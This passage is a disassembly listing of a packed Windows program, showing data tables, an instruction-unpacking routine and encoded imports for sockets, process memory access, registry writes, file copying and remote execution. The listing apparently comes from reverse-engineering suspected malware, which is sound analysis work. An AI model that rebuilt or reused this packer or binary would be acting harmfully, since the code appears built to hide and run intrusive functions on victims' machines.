		dd 3EBD17h, 3EBD19h, 3EBD1Bh, 3EBD1Ch, 3EBD1Eh,	3EBD20h
		dd 3EBD22h, 3EBD23h, 3EBD25h, 3EBD27h, 3EBD29h,	3EBD2Bh
		dd 3EBD2Dh, 3EBD2Fh, 3EBD31h, 3EBD32h, 3EBD34h,	3EBD36h
		dd 3EBD37h, 3EBD38h, 3EBD39h, 3EBD3Ah, 3EBD3Bh,	3EBD3Dh
		dd 3EBD3Fh, 3EBD41h, 3EBD43h, 3EBD44h, 3EBD46h,	3EBD48h
		dd 3EBD49h, 3EBD4Bh, 3EBD4Dh, 3EBD4Fh, 3EBD51h,	3EBD53h
		dd 3EBD55h, 3EBD56h, 3EBD57h, 3EBD58h, 3EBD5Ah,	3EBD5Ch
		dd 3EBD5Eh, 3EBD5Fh, 3EBD60h, 3EBD62h, 3EBD64h,	3EBD66h
		dd 3EBD67h, 3EBD68h, 3EBD6Ah, 3EBD6Ch, 3EBD6Eh,	3EBD70h
		dd 3EBD72h, 3EBD74h, 3EBD76h, 3EBD78h, 3EBD7Ah,	3EBD7Bh
		dd 3EBD7Ch, 3EBD7Eh, 3EBD7Fh, 3EBD81h, 3EBD83h,	3EBD85h
		dd 3EBD86h, 3EBD87h, 3EBD88h, 3EBD89h, 3EBD8Ah,	3EBD8Ch
		dd 3EBD8Eh, 3EBD90h, 3EBD92h, 3EBD94h, 3EBD96h,	3EBD98h
		dd 3EBD99h, 3EBD9Ah, 3EBD9Bh, 3EBD9Ch, 3EBD9Dh,	3EBD9Fh
		dd 3EBDA1h, 3EBDA2h, 3EBDA3h, 3EBDA4h, 3EBDA6h,	3EBDA8h
		dd 3EBDAAh, 3EBDACh, 3EBDAEh, 3EBDAFh, 3EBDB0h,	3EBDB2h
		dd 3EBDB3h, 3EBDB4h, 3EBDB6h, 3EBDB8h, 3EBDBAh,	3EBDBCh
		dd 3EBDBEh, 3EBDC0h, 3EBDC2h, 3EBDC4h, 3EBDC6h,	3EBDC8h
		dd 3EBDCAh, 3EBDCBh, 3EBDCCh, 3EBDCDh, 3EBDCEh,	3 dup(400h)
		dd 46Ch, 3B8h
		dd 478h, 3EAh, 2 dup(400h), 1A8h, 279h,	44Dh, 4EAh, 329h
		dd 3B4h, 400h, 3D3h, 454h, 3B5h, 2 dup(400h), 4B2h, 5BCh
		dd 4 dup(400h),	464h, 56Bh, 2FAh, 4AEh,	0Ah dup(400h)
		dd 593h, 5D1h, 2 dup(400h), 5E4h, 4EBh,	14h dup(400h)
		dd 455h, 470h, 486h, 500h, 4 dup(400h),	59Ah, 452h, 3C2h
		dd 471h, 14h dup(400h),	4BCh, 3C2h, 401h, 3A2h,	4 dup(400h)
		dd 41Ch, 401h, 3C5h, 425h, 0Ah dup(400h), 4F3h,	63Ah, 2	dup(400h)
		dd 678h, 573h, 4 dup(400h), 45Dh, 3E0h,	3C3h, 3E0h, 2 dup(400h)
		dd 5D7h, 5AEh, 478h, 420h, 62Eh, 44Ah, 2Ah dup(400h), 4A3h
		dd 3CFh, 2 dup(400h), 451h, 40Ch, 0Ah dup(400h), 43Fh
		dd 45Bh, 2 dup(400h), 457h, 3A5h, 14h dup(400h), 52Ah
		dd 4ADh, 453h, 3FBh, 4 dup(400h), 4F0h,	3E0h, 3ABh, 419h
		dd 0Ah dup(400h), 41Dh,	401h, 2	dup(400h), 420h, 47Ah
		dd 4 dup(400h),	392h, 4ABh, 43Bh, 3C1h,	2 dup(400h), 423h
		dd 3FFh, 38Dh, 474h, 40Ch, 2E0h, 0DDh dup(400h), 2B66h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_3EB1B6:				; DATA XREF: start+1Eo
		mov	edi, offset sub_401000
		mov	ebx, edi
		sub	ebx, 4
		mov	[ebp+58h], ebx
		xor	eax, eax
		mov	[ebp+5Ch], eax
		mov	[ebp+64h], eax
		inc	eax
		mov	[ebp+60h], eax
		mov	[ebp+68h], eax
		lea	ebx, [esi+58h]
		xor	ecx, ecx

loc_3EB1DA:				; CODE XREF: BrattyUS:003EB1E5j
		lodsd
		mov	[ebp+ecx*4+0], ebx
		add	ebx, eax
		inc	ecx
		cmp	cl, 16h
		jnz	short loc_3EB1DA
		mov	esi, [ebp+4]
		xchg	esi, [ebp+0]
		push	edi
		lea	edi, [ebp+468h]
		lodsb
		movzx	ecx, al
		mov	ebx, offset byte_3EB40F

loc_3EB1FD:				; CODE XREF: BrattyUS:loc_3EB21Cj
		mov	eax, esi
		stosd
		xor	eax, eax
		lodsb
		cmp	al, 66h
		jnz	short loc_3EB208
		lodsb

loc_3EB208:				; CODE XREF: BrattyUS:003EB205j
		cmp	al, 0Fh
		jnz	short loc_3EB20F
		lodsb
		mov	ah, 1

loc_3EB20F:				; CODE XREF: BrattyUS:003EB20Aj
		shr	eax, 1
		xlat
		jnb	short loc_3EB217
		shr	al, 4

loc_3EB217:				; CODE XREF: BrattyUS:003EB212j
		test	al, 2
		jz	short loc_3EB21C
		inc	esi

loc_3EB21C:				; CODE XREF: BrattyUS:003EB219j
		loop	loc_3EB1FD
		pop	edi

loc_3EB21F:				; CODE XREF: BrattyUS:003EB26Cj
					; BrattyUS:003EB35Aj ...
		xor	eax, eax
		cmp	[ebp+64h], eax
		jz	short loc_3EB22A
		xchg	eax, [ebp+64h]
		xchg	eax, esi

loc_3EB22A:				; CODE XREF: BrattyUS:003EB224j
		cmp	esi, [ebp+0]
		jz	loc_420000
		lodsb
		cmp	al, 0FFh
		jz	short loc_3EB245
		mov	[ebp+64h], esi
		movzx	eax, al
		mov	esi, [ebp+eax*4+468h]

loc_3EB245:				; CODE XREF: BrattyUS:003EB236j
		xor	eax, eax
		cmp	[ebp+60h], eax
		lodsb
		jz	short loc_3EB267
		cmp	al, 0CCh
		jz	short loc_3EB267
		lea	ecx, [edi-4]
		sub	ecx, [ebp+58h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], ecx

loc_3EB25E:				; CODE XREF: BrattyUS:003EB261j
		inc	byte ptr [ebp+68h]
		jz	short loc_3EB25E
		mov	byte ptr [ebp+60h], 0

loc_3EB267:				; CODE XREF: BrattyUS:003EB24Bj
					; BrattyUS:003EB24Fj
		cmp	al, 0CEh
		jnz	short loc_3EB26E
		movsb
		jmp	short loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB26E:				; CODE XREF: BrattyUS:003EB269j
		stosb
		xor	edx, edx
		cmp	al, 66h
		jnz	short loc_3EB279
		mov	dh, 1
		lodsb
		stosb

loc_3EB279:				; CODE XREF: BrattyUS:003EB273j
		mov	bl, al
		cmp	bl, 0CCh
		jz	short loc_3EB288
		sub	bl, 0C2h
		cmp	bl, 1
		ja	short loc_3EB28C

loc_3EB288:				; CODE XREF: BrattyUS:003EB27Ej
		mov	byte ptr [ebp+60h], 1

loc_3EB28C:				; CODE XREF: BrattyUS:003EB286j
		mov	ebx, offset byte_3EB40F
		cmp	al, 0Fh
		jnz	short loc_3EB299
		lodsb
		stosb
		mov	ah, 1

loc_3EB299:				; CODE XREF: BrattyUS:003EB293j
		shr	eax, 1
		xlat
		jnb	short loc_3EB2A1
		shr	al, 4

loc_3EB2A1:				; CODE XREF: BrattyUS:003EB29Cj
		and	al, 0Fh
		mov	cl, al
		test	cl, 2
		jz	loc_3EB333
		lodsb
		stosb
		mov	ch, al
		mov	al, cl
		and	al, 3
		cmp	al, 3
		jnz	short loc_3EB2CC
		mov	cl, 2
		test	ch, 38h
		jnz	short loc_3EB2CC
		mov	bl, [edi-2]
		test	bl, 8
		jnz	short loc_3EB2CC
		add	cl, 4

loc_3EB2CC:				; CODE XREF: BrattyUS:003EB2B8j
					; BrattyUS:003EB2BFj ...
		and	ch, 0C7h
		cmp	ch, 0C4h
		jz	short loc_3EB2E3
		mov	al, ch
		and	al, 7
		cmp	al, 4
		jnz	short loc_3EB2E3
		xchg	esi, [ebp+54h]
		movsb
		xchg	esi, [ebp+54h]

loc_3EB2E3:				; CODE XREF: BrattyUS:003EB2D2j
					; BrattyUS:003EB2DAj
		mov	dl, ch
		and	dl, 0C0h
		cmp	dl, 40h
		jnz	short loc_3EB2FC
		movzx	ebx, ch
		and	bl, 7
		xchg	esi, [ebp+ebx*4+4]
		movsb
		xchg	esi, [ebp+ebx*4+4]

loc_3EB2FC:				; CODE XREF: BrattyUS:003EB2EBj
		cmp	dl, 80h
		jz	short loc_3EB313
		cmp	ch, 5
		jz	short loc_3EB313
		test	dl, dl
		jnz	short loc_3EB333
		mov	al, [edi-1]
		and	al, 7
		cmp	al, 5
		jnz	short loc_3EB333

loc_3EB313:				; CODE XREF: BrattyUS:003EB2FFj
					; BrattyUS:003EB304j
		xor	ebx, ebx
		cmp	ch, 5
		jnz	short loc_3EB31B
		inc	ebx

loc_3EB31B:				; CODE XREF: BrattyUS:003EB318j
		xchg	esi, [ebp+ebx*4+34h]
		lodsd
		dec	esi
		xchg	esi, [ebp+ebx*4+34h]
		xchg	esi, [ebp+48h]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+48h]
		ror	eax, 8
		stosd

loc_3EB333:				; CODE XREF: BrattyUS:003EB2A8j
					; BrattyUS:003EB308j ...
		mov	al, cl
		and	al, 3
		cmp	al, 1
		jnz	loc_3EB3D5
		shr	cl, 2
		jnz	short loc_3EB35F
		xchg	esi, [ebp+3Ch]
		lodsd
		dec	esi
		xchg	esi, [ebp+3Ch]
		xchg	esi, [ebp+4Ch]
		shl	eax, 8
		lodsb
		xchg	esi, [ebp+4Ch]
		ror	eax, 8
		stosd
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB35F:				; CODE XREF: BrattyUS:003EB342j
		dec	cl
		jnz	short loc_3EB36F
		xchg	esi, [ebp+24h]
		movsb
		xchg	esi, [ebp+24h]
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB36F:				; CODE XREF: BrattyUS:003EB361j
		xor	ebx, ebx
		cmp	byte ptr [edi-1], 0E8h
		jz	short loc_3EB398
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+44h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+44h]
		shr	eax, 1
		jnb	short loc_3EB390
		not	eax

loc_3EB390:				; CODE XREF: BrattyUS:003EB38Cj
		add	eax, [ebp+5Ch]
		mov	[ebp+5Ch], eax
		jmp	short loc_3EB3CA
; ---------------------------------------------------------------------------

loc_3EB398:				; CODE XREF: BrattyUS:003EB375j
		xor	eax, eax
		xchg	esi, [ebp+40h]
		lodsb
		xchg	esi, [ebp+40h]
		test	al, al
		jz	short loc_3EB3AB
		mov	eax, [ebp+eax*4+68h]
		jmp	short loc_3EB3CA
; ---------------------------------------------------------------------------

loc_3EB3AB:				; CODE XREF: BrattyUS:003EB3A3j
		xchg	esi, [ebp+50h]
		lodsw
		xchg	esi, [ebp+50h]
		xchg	esi, [ebp+40h]
		shl	eax, 10h
		lodsw
		xchg	esi, [ebp+40h]
		mov	ebx, [ebp+68h]
		mov	[ebp+ebx*4+68h], eax

loc_3EB3C5:				; CODE XREF: BrattyUS:003EB3C8j
		inc	byte ptr [ebp+68h]
		jz	short loc_3EB3C5

loc_3EB3CA:				; CODE XREF: BrattyUS:003EB396j
					; BrattyUS:003EB3A9j
		sub	eax, edi
		add	eax, [ebp+58h]
		stosd
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB3D5:				; CODE XREF: BrattyUS:003EB339j
		shr	cl, 2
		jz	loc_3EB21F
		dec	cl
		jnz	short loc_3EB3EE
		xchg	esi, [ebp+28h]
		movsb
		xchg	esi, [ebp+28h]
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB3EE:				; CODE XREF: BrattyUS:003EB3E0j
		dec	cl
		jnz	short loc_3EB402
		test	dh, dh
		jnz	short loc_3EB402
		xchg	esi, [ebp+30h]
		movsd
		xchg	esi, [ebp+30h]
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------

loc_3EB402:				; CODE XREF: BrattyUS:003EB3F0j
					; BrattyUS:003EB3F4j
		xchg	esi, [ebp+2Ch]
		movsw
		xchg	esi, [ebp+2Ch]
		jmp	loc_3EB21F
; ---------------------------------------------------------------------------
byte_3EB40F	db 22h			; DATA XREF: BrattyUS:003EB1F8o
					; BrattyUS:loc_3EB28Co
		dd 7 dup(22008422h), 8422h, 4 dup(0)
		dd 0A8000022h, 55000064h, 55555555h, 0A6555555h, 22222266h
		dd 222222h, 0
		dd 11000000h, 84000011h, 44000000h, 88444444h, 66888888h
		dd 0A6220Ch, 2200400Ch,	22004422h, 55222222h, 0DD444455h
		dd 51h,	2 dup(330000h),	0
		dd 22000000h, 222222h, 22000000h, 22h, 2 dup(0)
		dd 22000000h, 22222222h, 222222h, 0
		dd 22000000h, 22222222h, 66222222h, 22266h, 0DD220000h
		dd 0DDDDDDDDh, 22DDDDDDh, 22222222h, 222222h, 222620h
		dd 22202620h, 222222h, 22222220h, 222222h, 22000000h, 5	dup(22222222h)
		db 2 dup(22h), 2
byte_3EB50F	db 0			; DATA XREF: start:loc_3DF1AFo
		dd offset dword_417114
		dd 4356534Dh, 642E5452h, 5F006C6Ch, 616F7469h, 74735F00h
		dd 63696E72h, 5F00706Dh, 54787843h, 776F7268h, 65637845h
		dd 6F697470h, 3F3F006Eh, 70797431h, 6E695F65h, 40406F66h
		dd 40454155h, 5F005A58h, 7878435Fh, 6D617246h, 6E614865h
		dd 72656C64h, 6D656D00h, 65766F6Dh, 72747300h, 797063h
		dd 746F725Fh, 725F0072h, 6C746Fh, 6E73765Fh, 6E697270h
		dd 6D006674h, 6D636D65h, 6F740070h, 65776F6Ch, 74730072h
		dd 706D6372h, 69727000h, 66746Eh, 40323F3Fh, 41504159h
		dd 5A404958h, 333F3F00h, 58415940h, 40584150h, 7376005Ah
		dd 6E697270h, 5F006674h, 69676562h, 7268746Eh, 65646165h
		dd 655F0078h, 70656378h, 61685F74h, 656C646Eh, 63003372h
		dd 6C6965h, 6F74665Fh, 7865006Ch, 72007469h, 6C6C6165h
		dd 7300636Fh, 636E7274h, 5F00706Dh, 72706E73h, 66746E69h
		dd 72747300h, 727473h, 61637373h, 6100666Eh, 696F74h, 65657366h
		dd 7266006Bh, 646165h, 65706F66h, 6366006Eh, 65736F6Ch
		dd 72776600h, 657469h, 6C657466h, 7473006Ch, 74616372h
		dd 6D656D00h, 746573h, 636F6C63h, 7073006Bh, 746E6972h
		dd 74730066h, 70636E72h, 656D0079h, 7970636Dh, 65726600h
		dd 616D0065h, 636F6C6Ch, 72747300h, 6E656Ch, 7274735Fh
		dd 69706D63h, 71F40000h, 53570041h, 32335F32h, 6C6C642Eh
		dd 4FF00h, 97FF00h, 1FF00h, 16FF00h, 15FF00h, 2FF00h, 13FF00h
		dd 5FF00h, 0AFF00h, 17FF00h, 0CFF00h, 33FF00h, 6FFF00h
		dd 38FF00h, 12FF00h, 3FF00h, 70FF00h, 9FF00h, 34FF00h
		dd 6FF00h, 0BFF00h, 10FF00h, 8FF00h, 14FF00h, 74FF00h
		dd 11FF00h, 41535700h, 74636F49h, 39FF006Ch, 73FF0000h
		dd 0DFF0000h, 30000000h, 4B004170h, 454E5245h, 2E32334Ch
		dd 6C6C64h, 56746547h, 69737265h, 78456E6Fh, 65470041h
		dd 636F4C74h, 49656C61h, 416F666Eh, 74655300h, 72727543h
		dd 44746E65h, 63657269h, 79726F74h, 736C0041h, 656C7274h
		dd 4700416Eh, 69577465h, 776F646Eh, 72694473h, 6F746365h
		dd 417972h, 61657243h, 69466574h, 41656Ch, 46746547h, 54656C69h
		dd 656D69h, 46746553h, 54656C69h, 656D69h, 53746547h, 65747379h
		dd 7269446Dh, 6F746365h, 417972h, 64616F4Ch, 7262694Ch
		dd 41797261h, 74654700h, 636F7250h, 72646441h, 737365h
		dd 74697845h, 636F7250h, 737365h, 79706F43h, 656C6946h
		dd 65470041h, 73614C74h, 72724574h, 5700726Fh, 65746972h
		dd 656C6946h, 61655300h, 50686372h, 41687461h, 65724300h
		dd 50657461h, 657069h, 43746547h, 65727275h, 7250746Eh
		dd 7365636Fh, 65470073h, 6D6F4374h, 65747570h, 6D614E72h
		dd 43004165h, 74616572h, 6F725065h, 73736563h, 65500041h
		dd 614E6B65h, 5064656Dh, 657069h, 45746547h, 43746978h
		dd 5065646Fh, 65636F72h, 52007373h, 46646165h, 656C69h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 74654700h
		dd 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh, 6E65704Fh
		dd 636F7250h, 737365h, 64616552h, 636F7250h, 4D737365h
		dd 726F6D65h, 6C530079h, 706565h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 6F6C4300h, 61486573h, 656C646Eh
		dd 74655300h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 656C6544h, 69466574h, 41656Ch, 61636F4Ch, 6572466Ch
		dd 72430065h, 65746165h, 65726854h, 55006461h, 70616D6Eh
		dd 77656956h, 6946664Fh, 4D00656Ch, 69567061h, 664F7765h
		dd 656C6946h, 65724300h, 46657461h, 4D656C69h, 69707061h
		dd 41676Eh, 626F6C47h, 654D6C61h, 79726F6Dh, 74617453h
		dd 47007375h, 69447465h, 72466B73h, 70536565h, 45656361h
		dd 47004178h, 72447465h, 54657669h, 41657079h, 74654700h
		dd 6B636954h, 6E756F43h, 75510074h, 50797265h, 6F667265h
		dd 6E616D72h, 72466563h, 65757165h, 79636Eh, 72657551h
		dd 72655079h, 6D726F66h, 65636E61h, 6E756F43h, 726574h
		dd 61427349h, 646F4364h, 72745065h, 72655400h, 616E696Dh
		dd 68546574h, 64616572h, 696E4900h, 6C616974h, 43657A69h
		dd 69746972h, 536C6163h, 69746365h, 47006E6Fh, 75437465h
		dd 6E657272h, 6F725074h, 73736563h, 45006449h, 7265746Eh
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 6C707544h
		dd 74616369h, 6E614865h, 656C64h, 45746553h, 726F7272h
		dd 65646F4Dh, 65724300h, 4D657461h, 78657475h, 736C0041h
		dd 70637274h, 6C004179h, 63727473h, 416E7970h, 74654700h
		dd 69766E45h, 6D6E6F72h, 56746E65h, 61697261h, 41656C62h
		dd 74736C00h, 706D6372h, 654C0041h, 43657661h, 69746972h
		dd 536C6163h, 69746365h, 6E6Fh,	4171D8h, 52455355h, 642E3233h
		dd 47006C6Ch, 6F467465h, 72676572h, 646E756Fh, 646E6957h
		dd 4900776Fh, 61684373h, 706C4172h, 754E6168h, 6972656Dh
		dd 77004163h, 69727073h, 4166746Eh, 74654700h, 646E6957h
		dd 6554776Fh, 417478h, 646E6946h, 646E6957h, 41776Fh, 646E6553h
		dd 7373654Dh, 41656761h, 70000000h, 44410041h, 49504156h
		dd 642E3233h, 52006C6Ch, 6E456765h, 61566D75h, 4165756Ch
		dd 67655200h, 656C6544h, 61566574h, 4165756Ch, 67655200h
		dd 6E65704Fh, 4579654Bh, 52004178h, 75516765h, 56797265h
		dd 65756C61h, 417845h, 53676552h, 61567465h, 4565756Ch
		dd 52004178h, 72436765h, 65746165h, 4579654Bh, 47004178h
		dd 73557465h, 614E7265h, 41656Dh, 70797243h, 6C655274h
		dd 65736165h, 746E6F43h, 747865h, 70797243h, 6E654774h
		dd 646E6152h, 43006D6Fh, 74707972h, 75716341h, 43657269h
		dd 65746E6Fh, 417478h, 43676552h, 65736F6Ch, 79654Bh, 4171D000h
		dd 45485300h, 32334C4Ch, 6C6C642Eh, 65685300h, 78456C6Ch
		dd 74756365h, 4165h, 4171C8h, 41454C4Fh, 32335455h, 6C6C642Eh
		dd 0C8FF00h, 0
		dd 0BB940000h, 18A0000h, 960000h, 6150000h, 340000h, 27F0000h
		dd 8F0000h, 2C0000h, 7E0000h, 2620000h,	6CE0000h, 8C0000h
		dd 4A900000h, 1E840000h, 11D0000h, 5D00000h, 4B0000h, 680000h
		dd 0A8B0000h, 1F00000h,	9A0000h, 47C0000h, 2EFF0000h, 0D1D19454h
		dd 0A4522D5Ah, 815C1590h, 88B92539h, 0D43D5888h, 6452D19Ch
		dd 0D1D1D0BBh, 0D591A15Ah, 6C2F2CA5h, 0AC3588D1h, 2BCD5CD1h
		dd 812ED12Eh, 5C81592Eh, 0FAC9B9D1h, 3AD16F26h,	5AD951D6h
		dd 29CA0955h, 9111E22Eh, 74F526D1h, 95A939D1h, 2F89A399h
		dd 160D3AD3h, 0B981504Dh, 5A84BBD1h, 2E2AA5D1h,	0A4D1D2D9h
		dd 882E28E1h, 5E51D58h,	126FDEB4h, 5ADDEA84h, 0D1D3E288h
		dd 39D92EDDh, 2ED958D1h, 299D54D1h, 3FA5115Ah, 11EDF9C2h
		dd 5A21E938h, 610EAD65h, 5A8167B5h, 0FDD7BB81h,	753E39DDh
		dd 11A75BA2h, 0D12E23A4h, 0D1F479DEh, 5CD94581h, 29B17127h
		dd 3A11A0D1h, 2EC59032h, 81885ADCh, 10DA16DBh, 0C52F8D17h
		dd 6D52D95Ah, 39295810h, 2024DED9h, 8810292Eh, 29D1C15Ch
		dd 0DD4DC42Fh, 12185DD1h, 0BD7D1021h, 88EC6849h, 0D9548838h
		dd 98D1D958h, 5A882B39h, 29D12143h, 21903A52h, 0D258292Eh
		dd 0FBB893D1h, 2E889129h, 0E848A4D0h, 54D238D1h, 0E33CD2DDh
		dd 0D210F200h, 5AC1DE29h, 181167DEh, 59D10ED1h,	0F07ADEDDh
		dd 0CF2A39h, 215A0131h,	0B74A4458h, 2A21E4CBh, 0D63A2E38h
		dd 84D116D1h, 55DE10DEh, 0BA4B4642h, 0D175C4C3h, 0F8CC412Fh
		dd 5A19DE11h, 0D2295A20h, 371CB9D9h, 474072D1h,	2C21D513h
		dd 5C29D221h, 3A88EA29h, 39C5B988h, 0A2D151D1h,	924ED3D1h
		dd 47E7CAA6h, 52061044h, 5020513h, 30050204h, 16DA0308h
		dd 8300517h, 0B001C22h,	0B00000Eh, 1D97h, 0FF26006Fh, 31FFA1D9h
		dd 882E002Ch, 2C31FFh, 0FF010F19h, 42002C31h, 0D7162001h
		dd 22164101h, 0A28001Ch, 1C151001h, 14002800h, 2C31FFh
		dd 21FF1400h, 2Fh, 18D1C4FFh, 6001C43h,	1C431Eh, 7101E48h
		dd 59070002h, 0C014114h, 0B31E39FFh, 0A158DDFFh, 1E06001Ch
		dd 48001CA1h, 26001Ch, 0D5C4FF00h, 42F0718h, 3CB502h, 14000000h
		dd 2F21FFh, 0C4FF0000h,	1D18F9h, 0FF020400h, 16541829h
		dd 5C070029h, 879C4FFh,	741115Dh, 7DC4FF5Ch, 0E9072508h
		dd 5539FFh, 0E9070E00h,	0AAA339FFh, 0DEFF0505h,	0D0354h
		dd 1D7F07h, 9060B00h, 0B00001Dh, 0C880C4Eh, 1E0C010Fh
		dd 1661B0Ch, 192D0Ch, 8D29FF06h, 320C1716h, 1D11h, 9039FF28h
		dd 5C63FF09h, 4500001Dh, 0E00h,	100E0045h, 8687FF03h, 1C7F0725h
		dd 9060B00h, 0FF0F39FFh, 1C1FD089h, 1C600100h, 4C006E00h
		dd 2208443Ch, 0B00001Dh, 0F030906h, 1C5E01h, 1C5E1E06h
		dd 4B00h, 37639FFh, 31FF6557h, 0FF0D03D5h, 10FA939h, 6001C3Dh
		dd 13001C39h, 42C81FFh,	2C81FF01h, 1C2C81FFh, 0FF0A0400h
		dd 0FF0A2C81h, 403D5DBh, 2C81FF14h, 1C5E1716h, 183B0400h
		dd 1E40E6FFh, 50010A0Dh, 6F0000h, 841C4FFh, 2C81FF17h
		dd 1C5E1716h, 1AA80400h, 0DDD0FF3Ch, 0DA39FF28h, 1FD08DFFh
		dd 0FF018411h, 17162C81h, 4001C5Eh, 15501AA8h, 2C89FFh
		dd 11FF332Ch, 81C0FF52h, 1C645Bh, 1C641E06h, 6004B00h
		dd 13001C39h, 0FF010466h, 17162C81h, 4001C5Eh, 0FF3C1AA8h
		dd 12BD9D0h, 0A3001C19h, 0FF771603h, 2A0116DDh,	3AFF1605h
		dd 0FF0104F4h, 17162C81h, 4001C5Eh, 0FF3C1AA8h,	12BD9D0h
		dd 0F001C19h, 2A052A01h, 4C05h,	66010Ah, 4C14h,	1C3D1400h
		dd 0FF010400h, 17162C81h, 4001C5Eh, 0FF3C1AA8h,	0BBD5D0h
		dd 2600h, 849C4FFh, 7105715Bh, 0CEFF3205h, 6613589Ah, 631358DAh
		dd 88053905h, 38010538h, 0FF016605h, 0B9002C88h, 56DEFF00h
		dd 1C3D1716h, 0BB00h, 8CFF5353h, 155002Ch, 0BB001C3Dh
		dd 53530000h, 2C8CFFh, 0F110FF06h, 1C3D0155h, 0BB00h, 8CFF5353h
		dd 0FF06002Ch, 355F138h, 0CEFF01D7h, 0FF0305F1h, 104DC3Ah
		dd 5F1CEFFh, 0F1CEFF01h, 0F1CEFF05h, 1C113205h,	780100h
		dd 0BB00h, 563010Fh, 0CEFF1758h, 113205F1h, 0A04001Ch
		dd 0CEFF0538h, 1C3D05F1h, 0DBFF5300h, 0A510FFEAh, 1C113205h
		dd 380A0400h, 0F1CEFF05h, 1C3D05h, 52DBFF53h, 55F1CEFFh
		dd 0F1CEFF01h, 1C113205h, 380A0400h, 0F1CEFF05h, 1C3D05h
		dd 52DBFF53h, 55F1CEFFh, 211h, 6638FF00h, 1E060000h, 0FF320563h
		dd 403D109h, 1C3C01h, 3C010F19h, 0FFC3001Ch, 1002C89h
		dd 9A000360h, 5BD1FF08h, 230194h, 17523000h, 162C81FFh
		dd 1C5E17h, 501AA804h, 81FF0104h, 5E17162Ch, 0A804001Ch
		dd 0D0FF3C1Ah, 0A0D28DDh, 2F8CFF01h, 60B0000h, 0FF940509h
		dd 1C15FFCEh, 0C4FF0000h, 0FF170871h, 17162C81h, 4001C5Eh
		dd 0FF3C1AA8h, 0AA0BDDD0h, 2C85FFh, 14003B06h, 1C64h, 0FFBA08E0h
		dd 0FF03D10Bh, 17030138h, 0BB001C19h, 10F0000h,	4001C19h
		dd 2C81FF01h, 1C5E1716h, 1AA80400h, 1C19CFh, 8C114055h
		dd 1C6405h, 0BA08E000h,	4FFh, 1C5E1400h, 8239FF00h, 1C3D1400h
		dd 0F439FF00h, 1FD085FFh, 6001001Ch, 89A0003h, 1C3C13h
		dd 4500004Bh, 60B0000h,	8CFF0109h, 26002Ch, 0FF010A0Dh
		dd 2F8Ch, 1C09060Bh, 239FF00h, 5703AEFFh, 38DEFF85h, 0FF000052h
		dd 1D64A038h, 8EFF0000h, 80FF478Fh, 2EDCFF80h, 0FF067207h
		dd 11A5D082h, 0FF29030Ah, 502A439h, 4FC4007h, 1A3D0502h
		dd 83FF7207h, 0D1FF0582h, 70003D0h, 39FF0556h, 204099Eh
		dd 0FF1F7D05h, 24254C1h, 84D29FFh, 2422F2Eh, 84529FFh
		dd 7590725h, 15B929FFh,	8239FF0Dh, 8100409h, 0D3591B25h
		dd 0D1900FFFh, 1308E000h, 80F39FFh, 0D3591B25h,	0D1900FFFh
		dd 1308E000h, 0D3591B10h, 0D1900FFFh, 1308E000h, 80F21FFh
		dd 0D3591B25h, 0D1900FFFh, 0FF08E000h, 4108CD1h, 302D9302h
		dd 0FF5D160Fh, 2D935ADFh, 5D160A30h, 18159FFFh,	0F302D93h
		dd 7F65D16h, 2BD083FFh,	900FFF11h, 400CA3D1h, 93020438h
		dd 160A302Dh, 82FFF65Dh, 900FFF83h, 2BFFA3D1h, 0FF3E03D1h
		dd 0FFA33963h, 72FFD083h, 0D1900FFFh, 2DC70204h, 0A5DBFF13h
		dd 29FF0653h, 0C4FF07DCh, 0E1010AB9h, 0E0B0000h, 0FF072558h
		dd 1D5CDDh, 9060B00h, 2600001Dh, 41F6AFFh, 0D0310h, 347F07h
		dd 0FF09060Bh, 0FF167239h, 0FF143988h, 0FCFFD080h, 522050Ch
		dd 815031Ah, 62071846h,	21AFFF10h, 3D655703h, 0FF01D7B1h
		dd 42032D39h, 2D21FF01h, 5390603h, 0A1010522h, 5430105h
		dd 78A1C4FFh, 10140000h, 570321B4h, 5220C65h, 1057E01h
		dd 2909FFh, 2A5D2600h, 1C3E39FFh, 10140000h, 65AD20FFh
		dd 15036AFFh, 0C4FF0029h, 7E1400A5h, 0FF181B05h, 71821C4h
		dd 7F39FF2Ah, 14000000h, 3696B10h, 0ABFF6557h, 41014658h
		dd 164E39FFh, 5220906h,	0D081FF9Ch, 810142h, 0D7033C00h
		dd 0FF164F01h, 0B7D1h, 2909FF17h, 10F0000h, 0A12D09FFh
		dd 0A1014105h, 2D31FF05h, 81010A41h, 466F0000h,	0FF052208h
		dd 78ADC4h, 0FF101400h,	4F65ADD3h, 2909FF14h, 0E0000000h
		dd 5431708h, 0D1900FFFh, 57E0104h, 0D1900FFFh
		dd 10410104h, 2931FF14h, 0E0000000h, 1C051308h,	3B101700h
		dd 39B538FFh, 1529001Ch, 60B001Ch, 452209h, 0FF252600h
		dd 5D0851C4h, 10A0D2Ah,	2B21FFh, 130E0B00h, 1FF0105h, 0FF000029h
		dd 0A03D0D2h, 2901FF01h, 25260000h, 855C4FFh, 1E44385Dh
		dd 2901FFh, 0D0D2FF00h,	0D2A1B03h, 21FF010Ah, 0B00002Bh
		dd 18460Eh, 39060000h, 882E0034h, 51010F51h, 5025101h
		dd 11322D51h, 0FF06001Ch, 0FF07DB29h, 0FF0116DDh, 16002C29h
		dd 0D33AFF03h, 6163AFFh, 2C29FF1Eh, 344800h, 5020F19h
		dd 1C150D05h, 9060B00h,	7002001h, 26000005h, 59C4FF25h
		dd 0D2405D08h, 0A05010Ah, 2B21FF01h, 0E0B0000h,	0FE39FF00h
		dd 14000049h, 3E0FF10h,	0D8EFC457h, 9C2AFF5Ah, 7000505h
